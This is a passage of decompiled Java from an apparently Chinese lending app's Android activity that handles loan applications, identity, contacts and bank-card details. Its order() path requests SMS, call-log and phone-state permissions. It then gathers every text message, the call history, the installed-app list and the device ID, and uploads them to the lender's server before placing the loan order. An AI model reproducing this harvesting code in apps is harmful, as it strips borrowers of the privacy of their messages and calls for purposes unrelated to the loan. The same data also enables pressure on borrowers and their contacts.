W0ACT.this.operatorMh((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
} else {
W0ACT.this.applyCaoPanShouOrdero((String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, (String) SPUtils.getData(AppConfig.longitude, "0.0"), Constant.SDK_OS);
}
}
});
}
public void applyCaoPanShouOrdero(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorCps(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
@Override
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
public void operatorBj(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorBj(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
@Override
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
public void operatorMh(String str, String str2, String str3, String str4, String str5) {
this.mRxManager.add(Api.getDefault().operatorMh(new OperatorBjForm(str, str2, str3, str4, str5)).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getResult() != null) {
String obj = baseResult.getResult().toString();
Bundle bundle = new Bundle();
bundle.putString("title", W0ACT.this.getResources().getString(R.string.operatore));
bundle.putString("url", obj);
W0ACT.this.startActivity(MT10ACT.class, bundle);
}
}
@Override
protected void _onError(String str6) {
W0ACT.this.showShortToast(str6);
}
}));
}
private boolean isCanEd(TextView textView) {
return textView.getText().toString().equals(getResources().getString(R.string.modify)) && this.baseInfoForm != null;
}
private void goOpen() {
if (this.authContactsStatus != 1) {
showShortToast(getResources().getString(R.string.contact_not_empty));
return;
}
if (this.authBankCardStatus != 1) {
showShortToast(getResources().getString(R.string.bank_not_null));
return;
}
if (this.authBaseInfoStatus != 1) {
showShortToast(getResources().getString(R.string.base_info_not_empty));
return;
}
if (this.accountStatus != 2) {
applyAccount();
return;
}
if (this.btnOk.getText().toString().equals(getResources().getString(R.string.apply_open))) {
final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(this.mContext, R.layout.dialog_tip);
((TextView) sureAndCancelDialog.getView(R.id.content)).setText(getResources().getString(R.string.sure_apply));
sureAndCancelDialog.setOnClickCancel(new SureAndCancelDialog.onClickCancel() {
@Override
public void onClickCancel() {
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
@Override
public void onClickSure() {
W0ACT.this.applyAccount();
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.show();
return;
}
Integer num = this.borrowFlag;
if (num != null && num.intValue() == 1) {
((BMAG01ACT) AppActivityManager.getAppManager().getActivity(BMAG01ACT.class)).onCheckPosition(1);
AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
} else {
checkUserStatus();
}
}
private void checkUserStatus() {
if (AppUtils.INSTANCE.getIsLogin()) {
this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<UserStatusBean>(this.mContext, true) {
@Override
public void _onNext(UserStatusBean userStatusBean) {
int code = userStatusBean.getCode();
String message = userStatusBean.getMessage();
Bundle bundle = new Bundle();
if (code == 200) {
if (W0ACT.this.enfLoanFlag.intValue() == 1) {
W0ACT.this.apply();
return;
} else {
W0ACT.this.startActivity(MT0Act.class);
return;
}
}
if (code == 2021) {
((BMAG01ACT) AppActivityManager.getAppManager().getActivity(BMAG01ACT.class)).onCheckPosition(1);
AppActivityManager.getAppManager().returnToActivity(BMAG01ACT.class);
W0ACT.this.finish();
return;
}
if (code == 3002) {
final SureAndCancelDialog sureAndCancelDialog = new SureAndCancelDialog(W0ACT.this.mContext, R.layout.dialog_black_tip);
sureAndCancelDialog.setOnClickSure(new SureAndCancelDialog.onClickSure() {
@Override
public void onClickSure() {
sureAndCancelDialog.dismiss();
}
});
sureAndCancelDialog.show();
return;
}
if (code != 2000 && code != 2001) {
switch (code) {
case 2042:
case 2043:
case 2044:
break;
default:
W0ACT.this.showShortToast(message);
break;
}
return;
}
bundle.putString(AppConfig.ORDERID, userStatusBean.getResult());
bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}
private void checkStatus() {
if (AppUtils.INSTANCE.getIsLogin()) {
this.mRxManager.add(Api.getDefault().checkUserStatus().compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<UserStatusBean>(this.mContext, true) {
@Override
protected void _onError(String str) {
}
@Override
public void _onNext(UserStatusBean userStatusBean) {
int code = userStatusBean.getCode();
if (code == 200 || code == 2021 || code == 3002 || code == 2000 || code == 2001) {
return;
}
switch (code) {
case 2042:
case 2043:
case 2044:
break;
default:
W0ACT.this.showShortToast(userStatusBean.getMessage());
break;
}
}
}));
}
}
private boolean isaBooleanSdk(TextView textView) {
return textView.getText().toString().equals(getResources().getString(R.string.to_authorize)) || textView.getText().toString().contains(getResources().getString(R.string.auth_failed));
}
private void setLxr(List<ContactForm.ListBean> list) {
for (int i = 0; i < list.size(); i++) {
ContactForm.ListBean listBean = list.get(i);
String name = listBean.getName();
String tel = listBean.getTel();
String relation = listBean.getRelation();
char c = 65535;
int hashCode = relation.hashCode();
if (hashCode != 687103) {
if (hashCode != 747972) {
if (hashCode == 839200 && relation.equals("朋友")) {
c = 2;
}
} else if (relation.equals("家人")) {
c = 1;
}
} else if (relation.equals("同事")) {
c = 0;
}
if (c == 0) {
this.tsName.setText(name);
this.tsNum.setText(tel);
} else if (c == 1) {
this.homeName.setText(name);
this.homeNum.setText(tel);
} else if (c == 2) {
this.friendName.setText(name);
this.friendNum.setText(tel);
}
}
this.lxrRight.setBackground(null);
this.lxrRight.setText(getResources().getString(R.string.modify));
}
private void setIdCard() {
try {
String substring = this.idNum.substring(0, 3);
String substring2 = this.idNum.substring(this.idNum.length() - 4);
this.idNo.setText(substring + "********" + substring2);
this.name.setText(this.realName.replaceAll(this.realName.substring(1), "*"));
this.imId.setImageResource(R.mipmap.had_id);
this.idRight.setVisibility(8);
} catch (Exception e) {
e.printStackTrace();
}
}
private void setBaseInfo(String str, String str2, String str3, String str4, String str5, String str6, String str7, String str8, String str9, String str10) {
this.address.setText(str);
this.workAddress.setText(str2);
this.chooseAddress.setText(str8 + "-" + str9 + "-" + str10);
this.chooseWorkAddress.setText(str5 + "-" + str6 + "-" + str7);
this.work.setText(str3);
this.phone.setText(str4);
this.baseRight.setBackground(null);
this.baseRight.setText(getResources().getString(R.string.modify));
}
@Override
protected void onResume() {
super.onResume();
loadData(false);
}
public void order() {
permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new AnonymousClass23());
}
class AnonymousClass23 implements IPermissionResultListener {
@Override
public void onPermissionFaild() {
}
AnonymousClass23() {
}
@Override
public void onPermissionSuccess() {
SPUtils.putData(AppConfig.latitude, "中国");
SPUtils.putData(AppConfig.longitude, "中国");
SPUtils.putData(AppConfig.address, "中国");
W0ACT.this.startProgressDialog();
W0ACT.this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
@Override
public final void call(Object obj) {
W0ACT.AnonymousClass23.this.lambda$onPermissionSuccess$0$W0ACT$23((Subscriber) obj);
}
}).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
@Override
public void onCompleted() {
W0ACT.this.stopProgressDialog();
}
@Override
public void onError(Throwable th) {
W0ACT.this.stopProgressDialog();
}
@Override
public void onNext(DevSmsBean devSmsBean) {
W0ACT.this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(W0ACT.this.mContext, true, false) {
@Override
public void _onNext(BaseResult baseResult) {
if (baseResult.getCode() == 200) {
W0ACT.this.borrowOrder();
} else {
W0ACT.this.showShortToast(baseResult.getMessage());
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
}));
}
public void lambda$onPermissionSuccess$0$W0ACT$23(Subscriber subscriber) {
DevSmsBean devSmsBean = new DevSmsBean();
List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(W0ACT.this.mContext);
devSmsBean.setSmsList(smsInPhone);
List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(W0ACT.this.mContext.getPackageManager());
devSmsBean.setSmsList(smsInPhone);
devSmsBean.setAppList(scanLocalInstallAppList);
devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(W0ACT.this.mContext));
String deviceID = ApplicationUtil.getDeviceID(W0ACT.this.mContext);
String phoneModel = ApplicationUtil.phoneModel();
devSmsBean.setCode(deviceID);
devSmsBean.setSys(Constant.SDK_OS);
devSmsBean.setModel(phoneModel);
devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
subscriber.onNext(devSmsBean);
subscriber.onCompleted();
}
}
protected void borrowOrder() {
int parseInt = Integer.parseInt(this.loanPeriod);
String aPPVersion = ApplicationUtil.getAPPVersion(this.mContext);
String json = new Gson().toJson(new BorrowOrderForm(this.repEnfLoanFlag + "", this.enfLoanFlag + "", this.bankName_apply, Integer.valueOf(parseInt), this.amount_apply, this.bankNum_apply, (String) SPUtils.getData(AppConfig.address, "中国"), (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), aPPVersion, Constant.SDK_OS));
long currentTimeMillis = System.currentTimeMillis();
String uuid = UUID.randomUUID().toString();
String str = json + "@" + uuid + "@" + currentTimeMillis;
String encrypt = RSAUtils.getInstance().encrypt(str + "@" + MD5Utils.md5(str, AppConfig.md5key));
StringBuilder sb = new StringBuilder();
sb.append(currentTimeMillis);
sb.append("");
this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
@Override
public void _onNext(RegBean regBean) {
if (regBean != null) {
String record = regBean.getRecord();
Bundle bundle = new Bundle();
bundle.putString(AppConfig.ORDERID, record);
bundle.putInt(AppConfig.EnfLoanFlag, W0ACT.this.enfLoanFlag.intValue());
bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
return;
}
W0ACT w0act = W0ACT.this;
w0act.showShortToast(w0act.getResources().getString(R.string.server_error));
}
@Override
protected void _onError(String str2) {
if (str2 != null && str2.contains(W0ACT.this.getResources().getString(R.string.apply_now))) {
W0ACT.this.showLongToast(str2);
return;
}
Bundle bundle = new Bundle();
bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str2);
bundle.putInt(AppConfig.EnfLoanFlag, 1);
bundle.putInt(AppConfig.REEnfLoanFlag, W0ACT.this.repEnfLoanFlag.intValue());
W0ACT.this.startActivity(N0ACT.class, bundle);
}
}));
}
protected void apply() {
this.mRxManager.add(Api.getDefault().apply(30).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
@Override
public void _onNext(ApplyBean applyBean) {
if (applyBean != null) {
List<BigDecimal> amountList = applyBean.getAmountList();
if (amountList != null && amountList.size() > 0) {
W0ACT.this.amount_apply = amountList.get(0) + "";
}
W0ACT.this.bankName_apply = applyBean.getBankName();
W0ACT.this.bankNum_apply = applyBean.getBankNum();
W0ACT.this.loanPeriod = applyBean.getLoanPeriod();
W0ACT.this.order();
}
}
@Override
protected void _onError(String str) {
W0ACT.this.showShortToast(str);
}
}));
}
public void showToast(final String str) {
new Handler(Looper.getMainLooper()).post(new Runnable() {
@Override
public void run() {
Toast.makeText(W0ACT.this, str, 0).show();
}
});
}
@Override
protected void onActivityResult(int i, int i2, Intent intent) {
super.onActivityResult(i, i2, intent);
if (i2 == -1 && i == 800) {
String stringExtra = intent.getStringExtra("crawlerId");
Log.e("TAG", intent.getStringExtra("crawlerId"));
applySdkOrder(stringExtra);
}
if (i == 1003 && i2 == 1003) {
this.idNum = intent.getStringExtra("idCard");
this.realName = intent.getStringExtra("realName");
this.authRealNameStatus = 1;
setIdCard();
}
if (i == 1002 && i2 == 1002) {
ContactForm contactForm = (ContactForm) intent.getSerializableExtra("contact");
this.o = contactForm;
List<ContactForm.ListBean> list = contactForm.getList();
this.authContactsStatus = 1;
setLxr(list);
}
if (i == 1000 && i2 == 1000) {
BindBankForm bindBankForm = (BindBankForm) intent.getSerializableExtra("bindBankForm");
String stringExtra2 = intent.getStringExtra("imgUrl");
String bankCard = bindBankForm.getBankCard();
String bankName = bindBankForm.getBankName();
this.authBankCardStatus = 1;
setBankInfo(stringExtra2, bankCard, bankName);
}
if (i == 1001 && i2 == 1001) {
BaseInfoForm baseInfoForm = (BaseInfoForm) intent.getSerializableExtra("baseInfo");
this.baseInfoForm = baseInfoForm;
String address = baseInfoForm.getAddress();
String cityId = this.baseInfoForm.getCityId();
String companyAddress = this.baseInfoForm.getCompanyAddress();
String companyCityId = this.baseInfoForm.getCompanyCityId();
String companyDistrictId = this.baseInfoForm.getCompanyDistrictId();
String companyName = this.baseInfoForm.getCompanyName();
String companyProvinceId = this.baseInfoForm.getCompanyProvinceId();
String companyTel = this.baseInfoForm.getCompanyTel();
String districtId = this.baseInfoForm.getDistrictId();
String provinceId = this.baseInfoForm.getProvinceId();
this.authBaseInfoStatus = 1;
setBaseInfo(address, companyAddress, companyName, companyTel, companyProvinceId, companyCityId, companyDistrictId, provinceId, cityId, districtId);
}
Log.i(TAG, "onActivityResultresultCode " + i2);
}
}